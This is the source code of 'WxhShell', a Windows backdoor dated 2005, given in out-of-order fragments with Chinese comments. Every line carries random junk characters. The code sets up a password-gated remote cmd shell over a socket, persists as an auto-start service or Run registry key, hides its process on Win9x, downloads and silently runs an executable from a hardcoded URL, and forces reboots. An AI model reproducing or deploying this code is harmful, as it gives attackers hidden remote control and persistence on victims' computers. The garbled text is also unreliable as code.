    closesocket(wsh); ,'>O#kD  
    ExitThread(0); eGQ -Ht,N  
    } Bd>a"3fA  
    break; U['|t<^uf  
    } hLF;MH@  
  // 获取shell B):hm  
  case 's': { {`=k$1  
    CmdShell(wsh); D) ;w)`  
    closesocket(wsh); FgTWym_  
    ExitThread(0); ]Ofs, U^  
    break; Pj{Y  
  } #D|n6[Y'.t  
  // 退出 E>Lgf&R#W  
  case 'x': { mk]8}+^.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BSHtoD@e7  
    CloseIt(wsh); D%!GY1wdn  
    break; !FHm.E_>  
    } c!dc`R  
  // 离开 0*XCAnJ^_  
  case 'q': { <zt124y-6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $#/f+kble  
    closesocket(wsh); ^s_7-p])(  
    WSACleanup(); ] 8dzTEjk  
    exit(1); ']DUCu  
    break; yNOoAnGT W  
        } +S ],){  
  } >m# bj^F\  
  } Qkb=KS%z  
55Ag<\7  
  // 提示信息 }b=Cv?Zg$m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _q=ua;I&  
} p}K.-S`MQ  
  } +wxDK A_  
u?I2|}#  
  return; l" +q&3Zx  
} !"<~n-$B  
E8"$vl&c]  
// shell模块句柄 L=wpZ`@ y  
int CmdShell(SOCKET sock) ?z0N- A2C2  
{ 8ib%CYR  
STARTUPINFO si; ?3a:ntX h  
ZeroMemory(&si,sizeof(si)); F P>.@ Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xASH- 9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]3]=RuQK2  
PROCESS_INFORMATION ProcessInfo; 3H ,?ZFFGz  
char cmdline[]="cmd"; J/B`c(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jchq\q)_z  
  return 0; 66-G)+4  
} R(p3* t&n  
W(\ ^6S)  
// 自身启动模式 O#?@' 1  
int StartFromService(void) IA680^  
{ VCQo3k5 {  
typedef struct tQ(4UHqa~  
{ 5]~4 51  
  DWORD ExitStatus; oMHTB!A=2  
  DWORD PebBaseAddress; 6QAhVg: A  
  DWORD AffinityMask; ppzQh1  
  DWORD BasePriority; t[o_!fmxZ  
  ULONG UniqueProcessId; a6!|#rt  
  ULONG InheritedFromUniqueProcessId; t4Pi <m:7  
}   PROCESS_BASIC_INFORMATION;  D`3`5.b  
JsHD3  
PROCNTQSIP NtQueryInformationProcess; }No8to  
T( fcE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tr|)+~x3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _)[UartKx  
3@\J#mR  
  HANDLE             hProcess; #jM-XK  
  PROCESS_BASIC_INFORMATION pbi; Bu"5NB  
P7\?WN$p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .FC|~Z1T<F  
  if(NULL == hInst ) return 0; \IZY\WU}2  
IR|#]en  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vKBi jmE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3<HZ)w^B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4d\V=_);r  
Ui.S)\B  
  if (!NtQueryInformationProcess) return 0; Y&-% N  
Uj)Wbe[)p0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~3Y4_b5E  
  if(!hProcess) return 0; c3.;o  
?OS0.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a'(B}B=h  
Vrs?VA`v$  
  CloseHandle(hProcess); i!EAs`$o`  
{r'+icvLX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X}H?*'-  
if(hProcess==NULL) return 0; U=PTn(2  
5GbC}y>  
HMODULE hMod; ><I{R|bC  
char procName[255]; PU8dr|!  
unsigned long cbNeeded; )6(|A$~C+  
3,-[lG@o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >:HmIW0PLe  
[Qcht,\^v  
  CloseHandle(hProcess); Z@} qL1  
bvS6xU- J  
if(strstr(procName,"services")) return 1; // 以服务启动 3~:9ZWQ/  
N-W>tng_x  
  return 0; // 注册表启动 H$.K   
} IKV!0-={!z  
Kc, i$FH  
// 主模块 8Qhj_  
int StartWxhshell(LPSTR lpCmdLine) Xw3j(`w$,  
{ a |#TnSk  
  SOCKET wsl; 9{ #5~WP  
BOOL val=TRUE; N&^zXY  
  int port=0; 7}vI/?r  
  struct sockaddr_in door; kpXxg: c  
zd/kr  
  if(wscfg.ws_autoins) Install(); me@)kQ8M  
KD.|oo  
port=atoi(lpCmdLine); qA"BoSw4  
Q-z `rW  
if(port<=0) port=wscfg.ws_port; M.+h3<%^  
V-eRGSx  
  WSADATA data; W4UK?#S+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {@6:kkd  
sNM ]bei  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t&Q(8Hz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); No`*->R  
  door.sin_family = AF_INET; hZlHY9[t?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B<i(Y1n[  
  door.sin_port = htons(port); zK&1ti@wln  
FzNj':D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d0-4KN2  
closesocket(wsl); *2pf> UzL  
return 1; 4:-x!lt  
} uehu\umt=  
)/)[}wN;j  
  if(listen(wsl,2) == INVALID_SOCKET) { x"!`JDsS  
closesocket(wsl); B oxtP<C"  
return 1; Jy\0y[f*  
} m'QG{f  
  Wxhshell(wsl); u /]P  
  WSACleanup(); V~p01f"J  
ln+.=U6Tm  
return 0; KA{&NFx  
*<X1M~p$  
} ',K:.$My  
9 p{n7.  
// 以NT服务方式启动 z%#-2&i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L^*f$Balz  
{ Bal e_s^  
DWORD   status = 0; v>j,8E  
  DWORD   specificError = 0xfffffff; Va?i#<a  
ZZ  Hjv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (Ldvx_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  JJmW%%]i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HNCu:$Wr@  
  serviceStatus.dwWin32ExitCode     = 0; k%X $@NP  
  serviceStatus.dwServiceSpecificExitCode = 0; *CPpU|  
  serviceStatus.dwCheckPoint       = 0; TW!OE"B  
  serviceStatus.dwWaitHint       = 0; tGU~G&  
6 Ia HaV+P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3n)$\aBE  
  if (hServiceStatusHandle==0) return; K_~kL0=4  
a"X h  
status = GetLastError(); r-go921  
  if (status!=NO_ERROR) 6<T:B[a-  
{ Il Qk W<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;S \s&.u  
    serviceStatus.dwCheckPoint       = 0; /_})7I52  
    serviceStatus.dwWaitHint       = 0; 0KTO )K  
    serviceStatus.dwWin32ExitCode     = status; @_?2iN?4Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; ar#73f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )z\#  
    return; c BZ,"kp-  
  } Xdx8HB@L  
\Oq8kJ=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *hru);OJr  
  serviceStatus.dwCheckPoint       = 0; g$^-WmX\m  
  serviceStatus.dwWaitHint       = 0; ~TsRUT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YoW)]n  
} URs]S~tk  
ox%j_P9@:  
// 处理NT服务事件,比如:启动、停止 }Nd1'BVf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !+A%`m  
{ H`'a|Y  
switch(fdwControl) w7.,ch  
{ 1Acs0` 3  
case SERVICE_CONTROL_STOP: ?'Hd0)yZ  
  serviceStatus.dwWin32ExitCode = 0; LWm1j:0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1O< 6=oH  
  serviceStatus.dwCheckPoint   = 0; g4b#U\D@)/  
  serviceStatus.dwWaitHint     = 0; IdN3Ea]  
  { / Ws>;0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sc/l.]k+  
  } y: x<`E=  
  return; W#~7X  
case SERVICE_CONTROL_PAUSE: kl]MP}wc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h x&"fe  
  break; )v_v 7 ~H&  
case SERVICE_CONTROL_CONTINUE: ,}&TZkN{-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v@tEHRadz  
  break; gT0yI ;g]  
case SERVICE_CONTROL_INTERROGATE: NXFi*  
  break; D\b$$z]q  
}; 51b%uz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y|><Ls6Q  
} hPSMPbI  
NS2vA>n8R  
// 标准应用程序主函数 nAWb9Yk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ((+XzV>  
{ L7;~4_M9.V  
)xccs'H  
// 获取操作系统版本 JJ7A` ;  
OsIsNt=GetOsVer(); NI#]#yM+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lYCvYe  
N-?5[T"  
  // 从命令行安装 O*GF/ R8B  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4r7F8*z  
&`@YdZtd"  
  // 下载执行文件 D\&S {  
if(wscfg.ws_downexe) { 84.L1|k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Mq)]2>"v  
  WinExec(wscfg.ws_filenam,SW_HIDE); (87| :{  
} RW+u5Y  
I51]+gEN  
if(!OsIsNt) { $uDgBZA\  
// 如果时win9x,隐藏进程并且设置为注册表启动 Qgj# k  
HideProc(); OU/}cu  
StartWxhshell(lpCmdLine); Lm~<BBp.  
} ;7qIm83  
else 38p"lT  
  if(StartFromService()) G9^`cTvv'8  
  // 以服务方式启动 Z! O4hA4  
  StartServiceCtrlDispatcher(DispatchTable); ~q}L13^k  
else (g@\QdH`|  
  // 普通方式启动 mdEJ'];AH  
  StartWxhshell(lpCmdLine); 0|Fx Sc  
'Og@<~/Xy  
return 0; ?&#LmeZ}K  
} Bh2l3J4X  
<[)-Q~Gg5  
W&Fm ;m@M  
9GH5  
=========================================== 8#yu.\N.xt  
yiQ?p:DM  
N'VTdf?  
?-<lIF Fh  
m%`YAD@2z  
jeWv~JA%L|  
" &|{1Ws  
cl4z%qv*  
#include <stdio.h> {73V?#P4  
#include <string.h> F1stRZ1ZI  
#include <windows.h> "ktuq\a@  
#include <winsock2.h> I{cH$jt<  
#include <winsvc.h> K 77iv  
#include <urlmon.h> G-T^1?  
* ) <+u~  
#pragma comment (lib, "Ws2_32.lib") 8F8?1  
#pragma comment (lib, "urlmon.lib") o'$"MC+  
]6^<VC`5D  
#define MAX_USER   100 // 最大客户端连接数 HK/WO jr  
#define BUF_SOCK   200 // sock buffer "u7[[.P)  
#define KEY_BUFF   255 // 输入 buffer GLtd<M"  
H_ $?b  
#define REBOOT     0   // 重启 8l5>t  
#define SHUTDOWN   1   // 关机 9)1Ye  
ud `- w  
#define DEF_PORT   5000 // 监听端口 T<pG$4_  
uVn"L:_  
#define REG_LEN     16   // 注册表键长度 Ah wi  
#define SVC_LEN     80   // NT服务名长度 sWo`dZ\6WB  
|ZH(Z}m  
// 从dll定义API '-%1ILK$3r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .@,t}:lD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d#0:U Y%~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6P{^j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~gd#cL%  
Y 3ApW vS  
// wxhshell配置信息 !{.CGpS ]  
struct WSCFG { {1OxJn1hd  
  int ws_port;         // 监听端口 $o?U=  
  char ws_passstr[REG_LEN]; // 口令 jG[Vp b  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6/8K2_UeoW  
  char ws_regname[REG_LEN]; // 注册表键名 (NvjX})eh  
  char ws_svcname[REG_LEN]; // 服务名 T"z<D+ pN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X!Z)V)@J8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {oqbV#/&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %42a>piev  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %LMpErZO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +Umsr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R|C`  
+<1 |apS1  
}; qS+;u`s  
Qjfgxy]  
// default Wxhshell configuration rQimQ|+  
struct WSCFG wscfg={DEF_PORT, "sN%S's  
    "xuhuanlingzhe", $CEdJ+0z  
    1, cb9-~*1  
    "Wxhshell", ?.VKVTX^  
    "Wxhshell", 4[$:KGh3  
            "WxhShell Service", _U^[h!  
    "Wrsky Windows CmdShell Service", ~9+01UU^  
    "Please Input Your Password: ", d^}p#7mB\  
  1, L?[m$l!T}  
  "http://www.wrsky.com/wxhshell.exe", {Ge{@1  
  "Wxhshell.exe" @.W;3|~qc  
    }; LIcc0w3  
[LnPV2@e  
// 消息定义模块 Vn^GJ'^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0P5VbDv$r7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;-Yvi,sS+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TWpw/osW  
char *msg_ws_ext="\n\rExit."; = J;I5:J  
char *msg_ws_end="\n\rQuit."; s=n4'`y1  
char *msg_ws_boot="\n\rReboot..."; #<*.{"T  
char *msg_ws_poff="\n\rShutdown..."; C(XV YND3  
char *msg_ws_down="\n\rSave to "; G JRl{Y  
72s qt5C]  
char *msg_ws_err="\n\rErr!"; 2o?j{K  
char *msg_ws_ok="\n\rOK!"; U80=f2  
,j*9)  
char ExeFile[MAX_PATH]; i=Qy?aU?  
int nUser = 0; '8;bc@cE  
HANDLE handles[MAX_USER]; xvOz*vM?  
int OsIsNt; ))=6g@(  
eC!=4_lx)  
SERVICE_STATUS       serviceStatus; q%4X1 W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?y-^Fq|h  
k9x[( #  
// 函数声明 RTc@`m3 M  
int Install(void); ev$:7}h=  
int Uninstall(void); F\D iT|?}  
int DownloadFile(char *sURL, SOCKET wsh); VP#KoX85  
int Boot(int flag); C.S BJ  
void HideProc(void); MI `qzC*%  
int GetOsVer(void); w6V/Xp][U  
int Wxhshell(SOCKET wsl); ;|Mfq` s  
void TalkWithClient(void *cs); WA (x]""  
int CmdShell(SOCKET sock); 0 %~~IT}U  
int StartFromService(void); jB?SX  
int StartWxhshell(LPSTR lpCmdLine); w.x&3aG  
 +|LM"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5C!zEI)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }%u #TwZ  
D -tRy~}  
// 数据结构和表定义 K+}0:W=P  
SERVICE_TABLE_ENTRY DispatchTable[] = V~dhTdQ5}  
{ [q?RJmB]  
{wscfg.ws_svcname, NTServiceMain}, c*ueI5i  
{NULL, NULL} * 1;4&/93o  
}; &gp&i?%X9b  
OE@[a  
// 自我安装 Q7aPW\-  
int Install(void) Jo { :]:  
{ r'*$'QY-N  
  char svExeFile[MAX_PATH]; w7@`:W  
  HKEY key; N#ggT9>X  
  strcpy(svExeFile,ExeFile); i3w~&y-  
H'k}/<%Q  
// 如果是win9x系统,修改注册表设为自启动 \n[kzi7  
if(!OsIsNt) { VCWW(Y1Fd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >aAM&4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LaQ7A,]  
  RegCloseKey(key); h+W$\T)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'f6H#V*C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @[g7\d  
  RegCloseKey(key); 3jAr"xc  
  return 0; O t)}:oG  
    } &4:R(]|  
  } M(a%Qk?]/  
} Vc9rc}  
else { %V>%AP  
lI?P_2AaS  
// 如果是NT以上系统,安装为系统服务 k' st^1T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Og1-LP|X  
if (schSCManager!=0) \U$:/#1Oe  
{ v[Q)L!J1  
  SC_HANDLE schService = CreateService i#la'ICwJ  
  ( QCb D^  
  schSCManager, %R >n5m  
  wscfg.ws_svcname, 1Vu#:6%  
  wscfg.ws_svcdisp, e`n ZiM>  
  SERVICE_ALL_ACCESS, >/A]C$?3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hoq2zDjD  
  SERVICE_AUTO_START, c& ;@i$X(  
  SERVICE_ERROR_NORMAL, ..JRtuM-v  
  svExeFile, U823q-x  
  NULL, M8~3 0L  
  NULL, #s{^fUN6  
  NULL, '{ _ X1  
  NULL, o-rX4=T  
  NULL M{L- V  
  ); n<C] 6H  
  if (schService!=0) ["D!IqI :  
  { qx ki  
  CloseServiceHandle(schService); (,h2qP-;ud  
  CloseServiceHandle(schSCManager); q\@Zf}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UQu6JkbLL  
  strcat(svExeFile,wscfg.ws_svcname); osXEzr(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { blQ&QQL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i%FC lMF  
  RegCloseKey(key); MDF_Xr-hZ  
  return 0; O(/~cQ  
    } }&vD(hX  
  } bny5e:= d  
  CloseServiceHandle(schSCManager); *\XOQWrF  
} I;w!  
} B $g\;$G  
-FJ3;fP&  
return 1; 8m{e,o2.  
} ;}E}N:A  
NF&Sv  
// 自我卸载 ~LS</_N  
int Uninstall(void) iE''>Z  
{ T_S3_-|{==  
  HKEY key; v*!N}1+J  
K) }1;  
if(!OsIsNt) { WAxNQfEe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X<,QSTP  
  RegDeleteValue(key,wscfg.ws_regname); ye.6tlW  
  RegCloseKey(key); oks;G([  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @%,~5{Ir  
  RegDeleteValue(key,wscfg.ws_regname); on 7 n4  
  RegCloseKey(key); v":q_w<k  
  return 0; :6Nb,Hh~  
  } 1%v6d !  
} |<u+Xi ~  
} cANt7  
else { cTq@"v di  
4G,FJjE`p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  2 q4p-  
if (schSCManager!=0) 9K@ I  
{ &\ 9%;k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f- XUto  
  if (schService!=0) VNTbjn]  
  { v7"VH90`!  
  if(DeleteService(schService)!=0) { 56)!&MF  
  CloseServiceHandle(schService); +E</A:|}S  
  CloseServiceHandle(schSCManager); x[58C+  
  return 0; nz3*s#k\-  
  } ~s+vJvWz  
  CloseServiceHandle(schService); )7& -DI1  
  } &#e;`(*  
  CloseServiceHandle(schSCManager); zu1"`K3b  
} '6M6e(  
} 486\a  
X\m\yv}}  
return 1; /F;2wT;  
} &ww-t..  
xfeED^?  
// 从指定url下载文件 W\~ie}D{  
int DownloadFile(char *sURL, SOCKET wsh) M)#9Q=<  
{ qob!AU|  
  HRESULT hr; 6-|?ya  
char seps[]= "/"; S a +Y/  
char *token; +#eol~j9N  
char *file; sMMOZ'bT  
char myURL[MAX_PATH]; Aars\   
char myFILE[MAX_PATH]; ',R%Q0Q  
|J!mM<*K  
strcpy(myURL,sURL); 7n#-3#_mG  
  token=strtok(myURL,seps); b#?sx"z  
  while(token!=NULL) ``CM7|)>`  
  { 7"'RE95  
    file=token; ~-k , $J?7  
  token=strtok(NULL,seps); #//xOL3J  
  } &9flNoNR9  
th73eC'  
GetCurrentDirectory(MAX_PATH,myFILE); ^W$R{`  
strcat(myFILE, "\\"); y7>3hfn~w  
strcat(myFILE, file); S'!&,Dxq^  
  send(wsh,myFILE,strlen(myFILE),0); \(pwHNSafk  
send(wsh,"...",3,0); > '=QBW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ];k!*lR)  
  if(hr==S_OK) )zxb]Pg+  
return 0; L(yUS)O  
else DujVV(+I  
return 1; LG:k}z/T  
mI7lv;oN<5  
} 6]iU-k0b  
W+a/>U  
// 系统电源模块 #HgN wM  
int Boot(int flag) "Vq= Ph  
{ J>v[5FX+  
  HANDLE hToken; Md~SzrU  
  TOKEN_PRIVILEGES tkp; Z|C,HF+m.  
)>1}I_1j)  
  if(OsIsNt) { 6m$X7;x}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <KX9>e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LY0f`RX*&  
    tkp.PrivilegeCount = 1; 9HJYrzf{%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d'W2I*Zc<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F9eEQ{L  
if(flag==REBOOT) { 4"@;.C""  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?7NSp2aq2A  
  return 0; b3%x&H<j  
} MZ}0.KmaZ  
else { T */I4"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r{.pXf  
  return 0; j;.P  
} B}TY+@  
  } i6HRG\9nU  
  else {  b+a+OI D  
if(flag==REBOOT) { k{mBG9[z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3*I\#Z4p1  
  return 0; ^gcB+  
} bdWdvd:  
else { xF{%@t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _h<rVcl!wX  
  return 0; KNmU2-%l  
} m+XHFU  
} #8h7C8]&  
DyqqY$ vH(  
return 1; -]^JaQw  
} ; +\h$  
b|-)p+ba  
// win9x进程隐藏模块 ;-`NT` #2  
void HideProc(void) SY5}Bu#  
{ (xW+* %  
_p8u &TZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0s-K oz  
  if ( hKernel != NULL ) nnn\  
  { Z$J-4KN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C"kfxpCi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h F+aL  
    FreeLibrary(hKernel); #~'d Y\&  
  } #qVTB@d  
5[)5K?%  
return; bK6^<,~  
} 6MM\nIU)/  
BR|0uJ.M  
// 获取操作系统版本 ].rKfv:  
int GetOsVer(void) 5 <k)tF%  
{ w\i]z1  
  OSVERSIONINFO winfo; U3_O}X+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *eHa4I  
  GetVersionEx(&winfo); |?J57(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2z{B  
  return 1; N4;g"k b  
  else ,j XK  
  return 0; O>~@>/#  
} Q>4NUq  
2&*#k  
// 客户端句柄模块 %ud-3u52M8  
int Wxhshell(SOCKET wsl) =iB[sLEJ  
{ kk`K;`[tB  
  SOCKET wsh; LT$t%V0?.e  
  struct sockaddr_in client; E] g Lwg9K  
  DWORD myID; B Evt{q4  
Njg87tKB  
  while(nUser<MAX_USER) K/B$1+O  
{ k~AtnI  
  int nSize=sizeof(client); i ZPNss  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F_0D)H)N@  
  if(wsh==INVALID_SOCKET) return 1; h;vY=r-  
IT:WiMDQ}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CN(-Jd.b  
if(handles[nUser]==0) Ud+,/pE>FA  
  closesocket(wsh); /1Gmga5  
else #W8F_/!n|  
  nUser++; $,:mq>]![{  
  } dBA&NW07  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,gk'8]  
A5F (-  
  return 0; .WKJ37od  
} 9nVb$pfe#  
/[lEZ['^  
// 关闭 socket %Qz<Lk">.  
void CloseIt(SOCKET wsh) ;76+J)  
{ 64mh.j  
closesocket(wsh); 7*{l\^ism;  
nUser--; o5J6Xi0+  
ExitThread(0); i. )^}id  
} ].d%R a:{  
517"x@6Q  
// 客户端请求句柄 cZ)JvU9]  
void TalkWithClient(void *cs) ]v}W9{sY  
{ vfn[&WN]  
FVkl# Qy~  
  SOCKET wsh=(SOCKET)cs; 5uG^`H@X  
  char pwd[SVC_LEN]; Ns YEBT7f  
  char cmd[KEY_BUFF]; { Zv%DV4_$  
char chr[1]; <D:q4t  
int i,j; q !9;JrX  
00D.Jn  
  while (nUser < MAX_USER) { ;bG?R0a  
jMBM qQNU  
if(wscfg.ws_passstr) { ?J + jv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #Pk{emYW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;{0alhMZ  
  //ZeroMemory(pwd,KEY_BUFF); 5cf?u3r!qJ  
      i=0; h0m5o V  
  while(i<SVC_LEN) { 6 8n ;#-X  
7]Qxt%7/>  
  // 设置超时 [)}P{y [&  
  fd_set FdRead; jA{B G_  
  struct timeval TimeOut; qJs_ahy(  
  FD_ZERO(&FdRead); ':}9>B3 S  
  FD_SET(wsh,&FdRead); h/A\QW8Sd  
  TimeOut.tv_sec=8; 5Q%)|(U'  
  TimeOut.tv_usec=0; U"|1@W#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =D0d+b6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M 2| k.  
b=S"o )>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uSYI X  
  pwd=chr[0]; Y*pXbztP  
  if(chr[0]==0xd || chr[0]==0xa) { _;^x^  
  pwd=0; jFg19C{=X  
  break; ^!exH(g  
  } du }HTrsC  
  i++; UVLS?1ra  
    } 6d8)]  
/L2ZI1v  
  // 如果是非法用户,关闭 socket @i'D)6sC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tk -)N+M.  
} GIYdI#0RC  
!wE% <Fh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >pZ _  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "LDNkw'  
L'$\[~Ug  
while(1) { yj'lHC  
> .}G[C  
  ZeroMemory(cmd,KEY_BUFF); X} V]3  
%4rlB$x  
      // 自动支持客户端 telnet标准   xe6V7Wi/Tt  
  j=0; KXx;~HtO  
  while(j<KEY_BUFF) { gktlwiCZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X ]&`"Z]  
  cmd[j]=chr[0]; 82r{V:NCK)  
  if(chr[0]==0xa || chr[0]==0xd) { !7~4`D c6U  
  cmd[j]=0; %.Btf3y~  
  break; 2vB,{/GXP  
  } GD}rsBQNkJ  
  j++; .e5@9G.jb  
    } B!`.,3  
B QUYT/$(  
  // 下载文件 a'-xCV|^  
  if(strstr(cmd,"http://")) { r UZN$="N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?nu<)~r53  
  if(DownloadFile(cmd,wsh)) 2=fLb7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7}\AhQ, S  
  else [-#1;!k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YH%U$eS#g  
  } kz1Z K  
  else { qooTRqc#,  
7o+VhW<|5  
    switch(cmd[0]) { 3Jd a:  
  (?uK  
  // 帮助 aH%tD!%,o  
  case '?': { Dz.kJ_"Ro  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NI:OL  
    break; |9 *$6Y  
  } yTbtS-  
